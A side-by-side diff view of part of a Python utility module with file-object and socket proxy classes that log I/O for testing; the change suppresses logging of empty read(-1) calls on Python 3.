379 | def _frombuffer(self, size): |
|
379 | def _frombuffer(self, size): | |
380 | """return at most 'size' data from the buffer |
|
380 | """return at most 'size' data from the buffer | |
381 |
|
381 | |||
382 | The data are removed from the buffer.""" |
|
382 | The data are removed from the buffer.""" | |
383 | if size == 0 or not self._buffer: |
|
383 | if size == 0 or not self._buffer: | |
384 | return '' |
|
384 | return '' | |
385 | buf = self._buffer[0] |
|
385 | buf = self._buffer[0] | |
386 | if 1 < len(self._buffer): |
|
386 | if 1 < len(self._buffer): | |
387 | buf = ''.join(self._buffer) |
|
387 | buf = ''.join(self._buffer) | |
388 |
|
388 | |||
389 | data = buf[:size] |
|
389 | data = buf[:size] | |
390 | buf = buf[len(data):] |
|
390 | buf = buf[len(data):] | |
391 | if buf: |
|
391 | if buf: | |
392 | self._buffer = [buf] |
|
392 | self._buffer = [buf] | |
393 | self._lenbuf = len(buf) |
|
393 | self._lenbuf = len(buf) | |
394 | else: |
|
394 | else: | |
395 | self._buffer = [] |
|
395 | self._buffer = [] | |
396 | self._lenbuf = 0 |
|
396 | self._lenbuf = 0 | |
397 | return data |
|
397 | return data | |
398 |
|
398 | |||
399 | def _fillbuffer(self): |
|
399 | def _fillbuffer(self): | |
400 | """read data to the buffer""" |
|
400 | """read data to the buffer""" | |
401 | data = os.read(self._input.fileno(), _chunksize) |
|
401 | data = os.read(self._input.fileno(), _chunksize) | |
402 | if not data: |
|
402 | if not data: | |
403 | self._eof = True |
|
403 | self._eof = True | |
404 | else: |
|
404 | else: | |
405 | self._lenbuf += len(data) |
|
405 | self._lenbuf += len(data) | |
406 | self._buffer.append(data) |
|
406 | self._buffer.append(data) | |
407 |
|
407 | |||
408 | return data |
|
408 | return data | |
409 |
|
409 | |||
410 | def mmapread(fp): |
|
410 | def mmapread(fp): | |
411 | try: |
|
411 | try: | |
412 | fd = getattr(fp, 'fileno', lambda: fp)() |
|
412 | fd = getattr(fp, 'fileno', lambda: fp)() | |
413 | return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) |
|
413 | return mmap.mmap(fd, 0, access=mmap.ACCESS_READ) | |
414 | except ValueError: |
|
414 | except ValueError: | |
415 | # Empty files cannot be mmapped, but mmapread should still work. Check |
|
415 | # Empty files cannot be mmapped, but mmapread should still work. Check | |
416 | # if the file is empty, and if so, return an empty buffer. |
|
416 | # if the file is empty, and if so, return an empty buffer. | |
417 | if os.fstat(fd).st_size == 0: |
|
417 | if os.fstat(fd).st_size == 0: | |
418 | return '' |
|
418 | return '' | |
419 | raise |
|
419 | raise | |
420 |
|
420 | |||
421 | class fileobjectproxy(object): |
|
421 | class fileobjectproxy(object): | |
422 | """A proxy around file objects that tells a watcher when events occur. |
|
422 | """A proxy around file objects that tells a watcher when events occur. | |
423 |
|
423 | |||
424 | This type is intended to only be used for testing purposes. Think hard |
|
424 | This type is intended to only be used for testing purposes. Think hard | |
425 | before using it in important code. |
|
425 | before using it in important code. | |
426 | """ |
|
426 | """ | |
427 | __slots__ = ( |
|
427 | __slots__ = ( | |
428 | r'_orig', |
|
428 | r'_orig', | |
429 | r'_observer', |
|
429 | r'_observer', | |
430 | ) |
|
430 | ) | |
431 |
|
431 | |||
432 | def __init__(self, fh, observer): |
|
432 | def __init__(self, fh, observer): | |
433 | object.__setattr__(self, r'_orig', fh) |
|
433 | object.__setattr__(self, r'_orig', fh) | |
434 | object.__setattr__(self, r'_observer', observer) |
|
434 | object.__setattr__(self, r'_observer', observer) | |
435 |
|
435 | |||
436 | def __getattribute__(self, name): |
|
436 | def __getattribute__(self, name): | |
437 | ours = { |
|
437 | ours = { | |
438 | r'_observer', |
|
438 | r'_observer', | |
439 |
|
439 | |||
440 | # IOBase |
|
440 | # IOBase | |
441 | r'close', |
|
441 | r'close', | |
442 | # closed if a property |
|
442 | # closed if a property | |
443 | r'fileno', |
|
443 | r'fileno', | |
444 | r'flush', |
|
444 | r'flush', | |
445 | r'isatty', |
|
445 | r'isatty', | |
446 | r'readable', |
|
446 | r'readable', | |
447 | r'readline', |
|
447 | r'readline', | |
448 | r'readlines', |
|
448 | r'readlines', | |
449 | r'seek', |
|
449 | r'seek', | |
450 | r'seekable', |
|
450 | r'seekable', | |
451 | r'tell', |
|
451 | r'tell', | |
452 | r'truncate', |
|
452 | r'truncate', | |
453 | r'writable', |
|
453 | r'writable', | |
454 | r'writelines', |
|
454 | r'writelines', | |
455 | # RawIOBase |
|
455 | # RawIOBase | |
456 | r'read', |
|
456 | r'read', | |
457 | r'readall', |
|
457 | r'readall', | |
458 | r'readinto', |
|
458 | r'readinto', | |
459 | r'write', |
|
459 | r'write', | |
460 | # BufferedIOBase |
|
460 | # BufferedIOBase | |
461 | # raw is a property |
|
461 | # raw is a property | |
462 | r'detach', |
|
462 | r'detach', | |
463 | # read defined above |
|
463 | # read defined above | |
464 | r'read1', |
|
464 | r'read1', | |
465 | # readinto defined above |
|
465 | # readinto defined above | |
466 | # write defined above |
|
466 | # write defined above | |
467 | } |
|
467 | } | |
468 |
|
468 | |||
469 | # We only observe some methods. |
|
469 | # We only observe some methods. | |
470 | if name in ours: |
|
470 | if name in ours: | |
471 | return object.__getattribute__(self, name) |
|
471 | return object.__getattribute__(self, name) | |
472 |
|
472 | |||
473 | return getattr(object.__getattribute__(self, r'_orig'), name) |
|
473 | return getattr(object.__getattribute__(self, r'_orig'), name) | |
474 |
|
474 | |||
475 | def __nonzero__(self): |
|
475 | def __nonzero__(self): | |
476 | return bool(object.__getattribute__(self, r'_orig')) |
|
476 | return bool(object.__getattribute__(self, r'_orig')) | |
477 |
|
477 | |||
478 | __bool__ = __nonzero__ |
|
478 | __bool__ = __nonzero__ | |
479 |
|
479 | |||
480 | def __delattr__(self, name): |
|
480 | def __delattr__(self, name): | |
481 | return delattr(object.__getattribute__(self, r'_orig'), name) |
|
481 | return delattr(object.__getattribute__(self, r'_orig'), name) | |
482 |
|
482 | |||
483 | def __setattr__(self, name, value): |
|
483 | def __setattr__(self, name, value): | |
484 | return setattr(object.__getattribute__(self, r'_orig'), name, value) |
|
484 | return setattr(object.__getattribute__(self, r'_orig'), name, value) | |
485 |
|
485 | |||
486 | def __iter__(self): |
|
486 | def __iter__(self): | |
487 | return object.__getattribute__(self, r'_orig').__iter__() |
|
487 | return object.__getattribute__(self, r'_orig').__iter__() | |
488 |
|
488 | |||
489 | def _observedcall(self, name, *args, **kwargs): |
|
489 | def _observedcall(self, name, *args, **kwargs): | |
490 | # Call the original object. |
|
490 | # Call the original object. | |
491 | orig = object.__getattribute__(self, r'_orig') |
|
491 | orig = object.__getattribute__(self, r'_orig') | |
492 | res = getattr(orig, name)(*args, **kwargs) |
|
492 | res = getattr(orig, name)(*args, **kwargs) | |
493 |
|
493 | |||
494 | # Call a method on the observer of the same name with arguments |
|
494 | # Call a method on the observer of the same name with arguments | |
495 | # so it can react, log, etc. |
|
495 | # so it can react, log, etc. | |
496 | observer = object.__getattribute__(self, r'_observer') |
|
496 | observer = object.__getattribute__(self, r'_observer') | |
497 | fn = getattr(observer, name, None) |
|
497 | fn = getattr(observer, name, None) | |
498 | if fn: |
|
498 | if fn: | |
499 | fn(res, *args, **kwargs) |
|
499 | fn(res, *args, **kwargs) | |
500 |
|
500 | |||
501 | return res |
|
501 | return res | |
502 |
|
502 | |||
503 | def close(self, *args, **kwargs): |
|
503 | def close(self, *args, **kwargs): | |
504 | return object.__getattribute__(self, r'_observedcall')( |
|
504 | return object.__getattribute__(self, r'_observedcall')( | |
505 | r'close', *args, **kwargs) |
|
505 | r'close', *args, **kwargs) | |
506 |
|
506 | |||
507 | def fileno(self, *args, **kwargs): |
|
507 | def fileno(self, *args, **kwargs): | |
508 | return object.__getattribute__(self, r'_observedcall')( |
|
508 | return object.__getattribute__(self, r'_observedcall')( | |
509 | r'fileno', *args, **kwargs) |
|
509 | r'fileno', *args, **kwargs) | |
510 |
|
510 | |||
511 | def flush(self, *args, **kwargs): |
|
511 | def flush(self, *args, **kwargs): | |
512 | return object.__getattribute__(self, r'_observedcall')( |
|
512 | return object.__getattribute__(self, r'_observedcall')( | |
513 | r'flush', *args, **kwargs) |
|
513 | r'flush', *args, **kwargs) | |
514 |
|
514 | |||
515 | def isatty(self, *args, **kwargs): |
|
515 | def isatty(self, *args, **kwargs): | |
516 | return object.__getattribute__(self, r'_observedcall')( |
|
516 | return object.__getattribute__(self, r'_observedcall')( | |
517 | r'isatty', *args, **kwargs) |
|
517 | r'isatty', *args, **kwargs) | |
518 |
|
518 | |||
519 | def readable(self, *args, **kwargs): |
|
519 | def readable(self, *args, **kwargs): | |
520 | return object.__getattribute__(self, r'_observedcall')( |
|
520 | return object.__getattribute__(self, r'_observedcall')( | |
521 | r'readable', *args, **kwargs) |
|
521 | r'readable', *args, **kwargs) | |
522 |
|
522 | |||
523 | def readline(self, *args, **kwargs): |
|
523 | def readline(self, *args, **kwargs): | |
524 | return object.__getattribute__(self, r'_observedcall')( |
|
524 | return object.__getattribute__(self, r'_observedcall')( | |
525 | r'readline', *args, **kwargs) |
|
525 | r'readline', *args, **kwargs) | |
526 |
|
526 | |||
527 | def readlines(self, *args, **kwargs): |
|
527 | def readlines(self, *args, **kwargs): | |
528 | return object.__getattribute__(self, r'_observedcall')( |
|
528 | return object.__getattribute__(self, r'_observedcall')( | |
529 | r'readlines', *args, **kwargs) |
|
529 | r'readlines', *args, **kwargs) | |
530 |
|
530 | |||
531 | def seek(self, *args, **kwargs): |
|
531 | def seek(self, *args, **kwargs): | |
532 | return object.__getattribute__(self, r'_observedcall')( |
|
532 | return object.__getattribute__(self, r'_observedcall')( | |
533 | r'seek', *args, **kwargs) |
|
533 | r'seek', *args, **kwargs) | |
534 |
|
534 | |||
535 | def seekable(self, *args, **kwargs): |
|
535 | def seekable(self, *args, **kwargs): | |
536 | return object.__getattribute__(self, r'_observedcall')( |
|
536 | return object.__getattribute__(self, r'_observedcall')( | |
537 | r'seekable', *args, **kwargs) |
|
537 | r'seekable', *args, **kwargs) | |
538 |
|
538 | |||
539 | def tell(self, *args, **kwargs): |
|
539 | def tell(self, *args, **kwargs): | |
540 | return object.__getattribute__(self, r'_observedcall')( |
|
540 | return object.__getattribute__(self, r'_observedcall')( | |
541 | r'tell', *args, **kwargs) |
|
541 | r'tell', *args, **kwargs) | |
542 |
|
542 | |||
543 | def truncate(self, *args, **kwargs): |
|
543 | def truncate(self, *args, **kwargs): | |
544 | return object.__getattribute__(self, r'_observedcall')( |
|
544 | return object.__getattribute__(self, r'_observedcall')( | |
545 | r'truncate', *args, **kwargs) |
|
545 | r'truncate', *args, **kwargs) | |
546 |
|
546 | |||
547 | def writable(self, *args, **kwargs): |
|
547 | def writable(self, *args, **kwargs): | |
548 | return object.__getattribute__(self, r'_observedcall')( |
|
548 | return object.__getattribute__(self, r'_observedcall')( | |
549 | r'writable', *args, **kwargs) |
|
549 | r'writable', *args, **kwargs) | |
550 |
|
550 | |||
551 | def writelines(self, *args, **kwargs): |
|
551 | def writelines(self, *args, **kwargs): | |
552 | return object.__getattribute__(self, r'_observedcall')( |
|
552 | return object.__getattribute__(self, r'_observedcall')( | |
553 | r'writelines', *args, **kwargs) |
|
553 | r'writelines', *args, **kwargs) | |
554 |
|
554 | |||
555 | def read(self, *args, **kwargs): |
|
555 | def read(self, *args, **kwargs): | |
556 | return object.__getattribute__(self, r'_observedcall')( |
|
556 | return object.__getattribute__(self, r'_observedcall')( | |
557 | r'read', *args, **kwargs) |
|
557 | r'read', *args, **kwargs) | |
558 |
|
558 | |||
559 | def readall(self, *args, **kwargs): |
|
559 | def readall(self, *args, **kwargs): | |
560 | return object.__getattribute__(self, r'_observedcall')( |
|
560 | return object.__getattribute__(self, r'_observedcall')( | |
561 | r'readall', *args, **kwargs) |
|
561 | r'readall', *args, **kwargs) | |
562 |
|
562 | |||
563 | def readinto(self, *args, **kwargs): |
|
563 | def readinto(self, *args, **kwargs): | |
564 | return object.__getattribute__(self, r'_observedcall')( |
|
564 | return object.__getattribute__(self, r'_observedcall')( | |
565 | r'readinto', *args, **kwargs) |
|
565 | r'readinto', *args, **kwargs) | |
566 |
|
566 | |||
567 | def write(self, *args, **kwargs): |
|
567 | def write(self, *args, **kwargs): | |
568 | return object.__getattribute__(self, r'_observedcall')( |
|
568 | return object.__getattribute__(self, r'_observedcall')( | |
569 | r'write', *args, **kwargs) |
|
569 | r'write', *args, **kwargs) | |
570 |
|
570 | |||
571 | def detach(self, *args, **kwargs): |
|
571 | def detach(self, *args, **kwargs): | |
572 | return object.__getattribute__(self, r'_observedcall')( |
|
572 | return object.__getattribute__(self, r'_observedcall')( | |
573 | r'detach', *args, **kwargs) |
|
573 | r'detach', *args, **kwargs) | |
574 |
|
574 | |||
575 | def read1(self, *args, **kwargs): |
|
575 | def read1(self, *args, **kwargs): | |
576 | return object.__getattribute__(self, r'_observedcall')( |
|
576 | return object.__getattribute__(self, r'_observedcall')( | |
577 | r'read1', *args, **kwargs) |
|
577 | r'read1', *args, **kwargs) | |
578 |
|
578 | |||
579 | class observedbufferedinputpipe(bufferedinputpipe): |
|
579 | class observedbufferedinputpipe(bufferedinputpipe): | |
580 | """A variation of bufferedinputpipe that is aware of fileobjectproxy. |
|
580 | """A variation of bufferedinputpipe that is aware of fileobjectproxy. | |
581 |
|
581 | |||
582 | ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that |
|
582 | ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that | |
583 | bypass ``fileobjectproxy``. Because of this, we need to make |
|
583 | bypass ``fileobjectproxy``. Because of this, we need to make | |
584 | ``bufferedinputpipe`` aware of these operations. |
|
584 | ``bufferedinputpipe`` aware of these operations. | |
585 |
|
585 | |||
586 | This variation of ``bufferedinputpipe`` can notify observers about |
|
586 | This variation of ``bufferedinputpipe`` can notify observers about | |
587 | ``os.read()`` events. It also re-publishes other events, such as |
|
587 | ``os.read()`` events. It also re-publishes other events, such as | |
588 | ``read()`` and ``readline()``. |
|
588 | ``read()`` and ``readline()``. | |
589 | """ |
|
589 | """ | |
590 | def _fillbuffer(self): |
|
590 | def _fillbuffer(self): | |
591 | res = super(observedbufferedinputpipe, self)._fillbuffer() |
|
591 | res = super(observedbufferedinputpipe, self)._fillbuffer() | |
592 |
|
592 | |||
593 | fn = getattr(self._input._observer, r'osread', None) |
|
593 | fn = getattr(self._input._observer, r'osread', None) | |
594 | if fn: |
|
594 | if fn: | |
595 | fn(res, _chunksize) |
|
595 | fn(res, _chunksize) | |
596 |
|
596 | |||
597 | return res |
|
597 | return res | |
598 |
|
598 | |||
599 | # We use different observer methods because the operation isn't |
|
599 | # We use different observer methods because the operation isn't | |
600 | # performed on the actual file object but on us. |
|
600 | # performed on the actual file object but on us. | |
601 | def read(self, size): |
|
601 | def read(self, size): | |
602 | res = super(observedbufferedinputpipe, self).read(size) |
|
602 | res = super(observedbufferedinputpipe, self).read(size) | |
603 |
|
603 | |||
604 | fn = getattr(self._input._observer, r'bufferedread', None) |
|
604 | fn = getattr(self._input._observer, r'bufferedread', None) | |
605 | if fn: |
|
605 | if fn: | |
606 | fn(res, size) |
|
606 | fn(res, size) | |
607 |
|
607 | |||
608 | return res |
|
608 | return res | |
609 |
|
609 | |||
610 | def readline(self, *args, **kwargs): |
|
610 | def readline(self, *args, **kwargs): | |
611 | res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) |
|
611 | res = super(observedbufferedinputpipe, self).readline(*args, **kwargs) | |
612 |
|
612 | |||
613 | fn = getattr(self._input._observer, r'bufferedreadline', None) |
|
613 | fn = getattr(self._input._observer, r'bufferedreadline', None) | |
614 | if fn: |
|
614 | if fn: | |
615 | fn(res) |
|
615 | fn(res) | |
616 |
|
616 | |||
617 | return res |
|
617 | return res | |
618 |
|
618 | |||
619 | PROXIED_SOCKET_METHODS = { |
|
619 | PROXIED_SOCKET_METHODS = { | |
620 | r'makefile', |
|
620 | r'makefile', | |
621 | r'recv', |
|
621 | r'recv', | |
622 | r'recvfrom', |
|
622 | r'recvfrom', | |
623 | r'recvfrom_into', |
|
623 | r'recvfrom_into', | |
624 | r'recv_into', |
|
624 | r'recv_into', | |
625 | r'send', |
|
625 | r'send', | |
626 | r'sendall', |
|
626 | r'sendall', | |
627 | r'sendto', |
|
627 | r'sendto', | |
628 | r'setblocking', |
|
628 | r'setblocking', | |
629 | r'settimeout', |
|
629 | r'settimeout', | |
630 | r'gettimeout', |
|
630 | r'gettimeout', | |
631 | r'setsockopt', |
|
631 | r'setsockopt', | |
632 | } |
|
632 | } | |
633 |
|
633 | |||
634 | class socketproxy(object): |
|
634 | class socketproxy(object): | |
635 | """A proxy around a socket that tells a watcher when events occur. |
|
635 | """A proxy around a socket that tells a watcher when events occur. | |
636 |
|
636 | |||
637 | This is like ``fileobjectproxy`` except for sockets. |
|
637 | This is like ``fileobjectproxy`` except for sockets. | |
638 |
|
638 | |||
639 | This type is intended to only be used for testing purposes. Think hard |
|
639 | This type is intended to only be used for testing purposes. Think hard | |
640 | before using it in important code. |
|
640 | before using it in important code. | |
641 | """ |
|
641 | """ | |
642 | __slots__ = ( |
|
642 | __slots__ = ( | |
643 | r'_orig', |
|
643 | r'_orig', | |
644 | r'_observer', |
|
644 | r'_observer', | |
645 | ) |
|
645 | ) | |
646 |
|
646 | |||
647 | def __init__(self, sock, observer): |
|
647 | def __init__(self, sock, observer): | |
648 | object.__setattr__(self, r'_orig', sock) |
|
648 | object.__setattr__(self, r'_orig', sock) | |
649 | object.__setattr__(self, r'_observer', observer) |
|
649 | object.__setattr__(self, r'_observer', observer) | |
650 |
|
650 | |||
651 | def __getattribute__(self, name): |
|
651 | def __getattribute__(self, name): | |
652 | if name in PROXIED_SOCKET_METHODS: |
|
652 | if name in PROXIED_SOCKET_METHODS: | |
653 | return object.__getattribute__(self, name) |
|
653 | return object.__getattribute__(self, name) | |
654 |
|
654 | |||
655 | return getattr(object.__getattribute__(self, r'_orig'), name) |
|
655 | return getattr(object.__getattribute__(self, r'_orig'), name) | |
656 |
|
656 | |||
657 | def __delattr__(self, name): |
|
657 | def __delattr__(self, name): | |
658 | return delattr(object.__getattribute__(self, r'_orig'), name) |
|
658 | return delattr(object.__getattribute__(self, r'_orig'), name) | |
659 |
|
659 | |||
660 | def __setattr__(self, name, value): |
|
660 | def __setattr__(self, name, value): | |
661 | return setattr(object.__getattribute__(self, r'_orig'), name, value) |
|
661 | return setattr(object.__getattribute__(self, r'_orig'), name, value) | |
662 |
|
662 | |||
663 | def __nonzero__(self): |
|
663 | def __nonzero__(self): | |
664 | return bool(object.__getattribute__(self, r'_orig')) |
|
664 | return bool(object.__getattribute__(self, r'_orig')) | |
665 |
|
665 | |||
666 | __bool__ = __nonzero__ |
|
666 | __bool__ = __nonzero__ | |
667 |
|
667 | |||
668 | def _observedcall(self, name, *args, **kwargs): |
|
668 | def _observedcall(self, name, *args, **kwargs): | |
669 | # Call the original object. |
|
669 | # Call the original object. | |
670 | orig = object.__getattribute__(self, r'_orig') |
|
670 | orig = object.__getattribute__(self, r'_orig') | |
671 | res = getattr(orig, name)(*args, **kwargs) |
|
671 | res = getattr(orig, name)(*args, **kwargs) | |
672 |
|
672 | |||
673 | # Call a method on the observer of the same name with arguments |
|
673 | # Call a method on the observer of the same name with arguments | |
674 | # so it can react, log, etc. |
|
674 | # so it can react, log, etc. | |
675 | observer = object.__getattribute__(self, r'_observer') |
|
675 | observer = object.__getattribute__(self, r'_observer') | |
676 | fn = getattr(observer, name, None) |
|
676 | fn = getattr(observer, name, None) | |
677 | if fn: |
|
677 | if fn: | |
678 | fn(res, *args, **kwargs) |
|
678 | fn(res, *args, **kwargs) | |
679 |
|
679 | |||
680 | return res |
|
680 | return res | |
681 |
|
681 | |||
682 | def makefile(self, *args, **kwargs): |
|
682 | def makefile(self, *args, **kwargs): | |
683 | res = object.__getattribute__(self, r'_observedcall')( |
|
683 | res = object.__getattribute__(self, r'_observedcall')( | |
684 | r'makefile', *args, **kwargs) |
|
684 | r'makefile', *args, **kwargs) | |
685 |
|
685 | |||
686 | # The file object may be used for I/O. So we turn it into a |
|
686 | # The file object may be used for I/O. So we turn it into a | |
687 | # proxy using our observer. |
|
687 | # proxy using our observer. | |
688 | observer = object.__getattribute__(self, r'_observer') |
|
688 | observer = object.__getattribute__(self, r'_observer') | |
689 | return makeloggingfileobject(observer.fh, res, observer.name, |
|
689 | return makeloggingfileobject(observer.fh, res, observer.name, | |
690 | reads=observer.reads, |
|
690 | reads=observer.reads, | |
691 | writes=observer.writes, |
|
691 | writes=observer.writes, | |
692 | logdata=observer.logdata, |
|
692 | logdata=observer.logdata, | |
693 | logdataapis=observer.logdataapis) |
|
693 | logdataapis=observer.logdataapis) | |
694 |
|
694 | |||
695 | def recv(self, *args, **kwargs): |
|
695 | def recv(self, *args, **kwargs): | |
696 | return object.__getattribute__(self, r'_observedcall')( |
|
696 | return object.__getattribute__(self, r'_observedcall')( | |
697 | r'recv', *args, **kwargs) |
|
697 | r'recv', *args, **kwargs) | |
698 |
|
698 | |||
699 | def recvfrom(self, *args, **kwargs): |
|
699 | def recvfrom(self, *args, **kwargs): | |
700 | return object.__getattribute__(self, r'_observedcall')( |
|
700 | return object.__getattribute__(self, r'_observedcall')( | |
701 | r'recvfrom', *args, **kwargs) |
|
701 | r'recvfrom', *args, **kwargs) | |
702 |
|
702 | |||
703 | def recvfrom_into(self, *args, **kwargs): |
|
703 | def recvfrom_into(self, *args, **kwargs): | |
704 | return object.__getattribute__(self, r'_observedcall')( |
|
704 | return object.__getattribute__(self, r'_observedcall')( | |
705 | r'recvfrom_into', *args, **kwargs) |
|
705 | r'recvfrom_into', *args, **kwargs) | |
706 |
|
706 | |||
707 | def recv_into(self, *args, **kwargs): |
|
707 | def recv_into(self, *args, **kwargs): | |
708 | return object.__getattribute__(self, r'_observedcall')( |
|
708 | return object.__getattribute__(self, r'_observedcall')( | |
709 | r'recv_info', *args, **kwargs) |
|
709 | r'recv_info', *args, **kwargs) | |
710 |
|
710 | |||
711 | def send(self, *args, **kwargs): |
|
711 | def send(self, *args, **kwargs): | |
712 | return object.__getattribute__(self, r'_observedcall')( |
|
712 | return object.__getattribute__(self, r'_observedcall')( | |
713 | r'send', *args, **kwargs) |
|
713 | r'send', *args, **kwargs) | |
714 |
|
714 | |||
715 | def sendall(self, *args, **kwargs): |
|
715 | def sendall(self, *args, **kwargs): | |
716 | return object.__getattribute__(self, r'_observedcall')( |
|
716 | return object.__getattribute__(self, r'_observedcall')( | |
717 | r'sendall', *args, **kwargs) |
|
717 | r'sendall', *args, **kwargs) | |
718 |
|
718 | |||
719 | def sendto(self, *args, **kwargs): |
|
719 | def sendto(self, *args, **kwargs): | |
720 | return object.__getattribute__(self, r'_observedcall')( |
|
720 | return object.__getattribute__(self, r'_observedcall')( | |
721 | r'sendto', *args, **kwargs) |
|
721 | r'sendto', *args, **kwargs) | |
722 |
|
722 | |||
723 | def setblocking(self, *args, **kwargs): |
|
723 | def setblocking(self, *args, **kwargs): | |
724 | return object.__getattribute__(self, r'_observedcall')( |
|
724 | return object.__getattribute__(self, r'_observedcall')( | |
725 | r'setblocking', *args, **kwargs) |
|
725 | r'setblocking', *args, **kwargs) | |
726 |
|
726 | |||
727 | def settimeout(self, *args, **kwargs): |
|
727 | def settimeout(self, *args, **kwargs): | |
728 | return object.__getattribute__(self, r'_observedcall')( |
|
728 | return object.__getattribute__(self, r'_observedcall')( | |
729 | r'settimeout', *args, **kwargs) |
|
729 | r'settimeout', *args, **kwargs) | |
730 |
|
730 | |||
731 | def gettimeout(self, *args, **kwargs): |
|
731 | def gettimeout(self, *args, **kwargs): | |
732 | return object.__getattribute__(self, r'_observedcall')( |
|
732 | return object.__getattribute__(self, r'_observedcall')( | |
733 | r'gettimeout', *args, **kwargs) |
|
733 | r'gettimeout', *args, **kwargs) | |
734 |
|
734 | |||
735 | def setsockopt(self, *args, **kwargs): |
|
735 | def setsockopt(self, *args, **kwargs): | |
736 | return object.__getattribute__(self, r'_observedcall')( |
|
736 | return object.__getattribute__(self, r'_observedcall')( | |
737 | r'setsockopt', *args, **kwargs) |
|
737 | r'setsockopt', *args, **kwargs) | |
738 |
|
738 | |||
739 | class baseproxyobserver(object): |
|
739 | class baseproxyobserver(object): | |
740 | def _writedata(self, data): |
|
740 | def _writedata(self, data): | |
741 | if not self.logdata: |
|
741 | if not self.logdata: | |
742 | if self.logdataapis: |
|
742 | if self.logdataapis: | |
743 | self.fh.write('\n') |
|
743 | self.fh.write('\n') | |
744 | self.fh.flush() |
|
744 | self.fh.flush() | |
745 | return |
|
745 | return | |
746 |
|
746 | |||
747 | # Simple case writes all data on a single line. |
|
747 | # Simple case writes all data on a single line. | |
748 | if b'\n' not in data: |
|
748 | if b'\n' not in data: | |
749 | if self.logdataapis: |
|
749 | if self.logdataapis: | |
750 | self.fh.write(': %s\n' % stringutil.escapestr(data)) |
|
750 | self.fh.write(': %s\n' % stringutil.escapestr(data)) | |
751 | else: |
|
751 | else: | |
752 | self.fh.write('%s> %s\n' |
|
752 | self.fh.write('%s> %s\n' | |
753 | % (self.name, stringutil.escapestr(data))) |
|
753 | % (self.name, stringutil.escapestr(data))) | |
754 | self.fh.flush() |
|
754 | self.fh.flush() | |
755 | return |
|
755 | return | |
756 |
|
756 | |||
757 | # Data with newlines is written to multiple lines. |
|
757 | # Data with newlines is written to multiple lines. | |
758 | if self.logdataapis: |
|
758 | if self.logdataapis: | |
759 | self.fh.write(':\n') |
|
759 | self.fh.write(':\n') | |
760 |
|
760 | |||
761 | lines = data.splitlines(True) |
|
761 | lines = data.splitlines(True) | |
762 | for line in lines: |
|
762 | for line in lines: | |
763 | self.fh.write('%s> %s\n' |
|
763 | self.fh.write('%s> %s\n' | |
764 | % (self.name, stringutil.escapestr(line))) |
|
764 | % (self.name, stringutil.escapestr(line))) | |
765 | self.fh.flush() |
|
765 | self.fh.flush() | |
766 |
|
766 | |||
767 | class fileobjectobserver(baseproxyobserver): |
|
767 | class fileobjectobserver(baseproxyobserver): | |
768 | """Logs file object activity.""" |
|
768 | """Logs file object activity.""" | |
769 | def __init__(self, fh, name, reads=True, writes=True, logdata=False, |
|
769 | def __init__(self, fh, name, reads=True, writes=True, logdata=False, | |
770 | logdataapis=True): |
|
770 | logdataapis=True): | |
771 | self.fh = fh |
|
771 | self.fh = fh | |
772 | self.name = name |
|
772 | self.name = name | |
773 | self.logdata = logdata |
|
773 | self.logdata = logdata | |
774 | self.logdataapis = logdataapis |
|
774 | self.logdataapis = logdataapis | |
775 | self.reads = reads |
|
775 | self.reads = reads | |
776 | self.writes = writes |
|
776 | self.writes = writes | |
777 |
|
777 | |||
778 | def read(self, res, size=-1): |
|
778 | def read(self, res, size=-1): | |
779 | if not self.reads: |
|
779 | if not self.reads: | |
780 | return |
|
780 | return | |
781 | # Python 3 can return None from reads at EOF instead of empty strings. |
|
781 | # Python 3 can return None from reads at EOF instead of empty strings. | |
782 | if res is None: |
|
782 | if res is None: | |
783 | res = '' |
|
783 | res = '' | |
784 |
|
784 | |||
|
785 | if size == -1 and res == '': | |||
|
786 | # Suppress pointless read(-1) calls that return | |||
|
787 | # nothing. These happen _a lot_ on Python 3, and there | |||
|
788 | # doesn't seem to be a better workaround to have matching | |||
|
789 | # Python 2 and 3 behavior. :( | |||
|
790 | return | |||
|
791 | ||||
785 | if self.logdataapis: |
|
792 | if self.logdataapis: | |
786 | self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res))) |
|
793 | self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res))) | |
787 |
|
794 | |||
788 | self._writedata(res) |
|
795 | self._writedata(res) | |
789 |
|
796 | |||
790 | def readline(self, res, limit=-1): |
|
797 | def readline(self, res, limit=-1): | |
791 | if not self.reads: |
|
798 | if not self.reads: | |
792 | return |
|
799 | return | |
793 |
|
800 | |||
794 | if self.logdataapis: |
|
801 | if self.logdataapis: | |
795 | self.fh.write('%s> readline() -> %d' % (self.name, len(res))) |
|
802 | self.fh.write('%s> readline() -> %d' % (self.name, len(res))) | |
796 |
|
803 | |||
797 | self._writedata(res) |
|
804 | self._writedata(res) | |
798 |
|
805 | |||
799 | def readinto(self, res, dest): |
|
806 | def readinto(self, res, dest): | |
800 | if not self.reads: |
|
807 | if not self.reads: | |
801 | return |
|
808 | return | |
802 |
|
809 | |||
803 | if self.logdataapis: |
|
810 | if self.logdataapis: | |
804 | self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest), |
|
811 | self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest), | |
805 | res)) |
|
812 | res)) | |
806 |
|
813 | |||
807 | data = dest[0:res] if res is not None else b'' |
|
814 | data = dest[0:res] if res is not None else b'' | |
808 | self._writedata(data) |
|
815 | self._writedata(data) | |
809 |
|
816 | |||
810 | def write(self, res, data): |
|
817 | def write(self, res, data): | |
811 | if not self.writes: |
|
818 | if not self.writes: | |
812 | return |
|
819 | return | |
813 |
|
820 | |||
814 | # Python 2 returns None from some write() calls. Python 3 (reasonably) |
|
821 | # Python 2 returns None from some write() calls. Python 3 (reasonably) | |
815 | # returns the integer bytes written. |
|
822 | # returns the integer bytes written. | |
816 | if res is None and data: |
|
823 | if res is None and data: | |
817 | res = len(data) |
|
824 | res = len(data) | |
818 |
|
825 | |||
819 | if self.logdataapis: |
|
826 | if self.logdataapis: | |
820 | self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res)) |
|
827 | self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res)) | |
821 |
|
828 | |||
822 | self._writedata(data) |
|
829 | self._writedata(data) | |
823 |
|
830 | |||
824 | def flush(self, res): |
|
831 | def flush(self, res): | |
825 | if not self.writes: |
|
832 | if not self.writes: | |
826 | return |
|
